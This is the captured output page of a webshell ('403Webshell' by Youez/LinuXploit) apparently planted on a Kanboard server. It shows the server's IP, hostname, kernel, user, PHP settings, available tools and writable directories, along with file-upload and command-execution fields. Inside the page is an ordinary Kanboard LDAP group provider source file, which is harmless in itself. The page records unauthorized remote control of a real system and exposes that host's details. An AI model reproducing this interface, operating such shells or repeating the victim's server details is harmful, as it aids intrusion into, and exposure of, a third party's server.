403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/kanboard/app/Group/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/kanboard/app/Group/LdapBackendGroupProvider.php
<?php

namespace Kanboard\Group;

use LogicException;
use Kanboard\Core\Base;
use Kanboard\Core\Group\GroupBackendProviderInterface;
use Kanboard\Core\Ldap\Client as LdapClient;
use Kanboard\Core\Ldap\ClientException as LdapException;
use Kanboard\Core\Ldap\Group as LdapGroup;

/**
 * LDAP Backend Group Provider
 *
 * @package  group
 * @author   Frederic Guillot
 */
class LdapBackendGroupProvider extends Base implements GroupBackendProviderInterface
{
    /**
     * Find a group from a search query
     *
     * @access public
     * @param  string $input
     * @return LdapGroupProvider[]
     */
    public function find($input)
    {
        try {
            $ldap = LdapClient::connect();
            return LdapGroup::getGroups($ldap, $this->getLdapGroupPattern($input));

        } catch (LdapException $e) {
            $this->logger->error($e->getMessage());
            return array();
        }
    }

    /**
     * Get LDAP group pattern
     *
     * @access public
     * @param  string $input
     * @param  string $filter
     * @return string
     */
    public function getLdapGroupPattern($input, $filter = LDAP_GROUP_FILTER)
    {
        if ($filter === '') {
            throw new LogicException('LDAP group filter is empty. Please configure the LDAP_GROUP_FILTER parameter in your configuration file');
        }

        $escapedInput = ldap_escape($input, '', LDAP_ESCAPE_FILTER);
        return sprintf($filter, $escapedInput);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit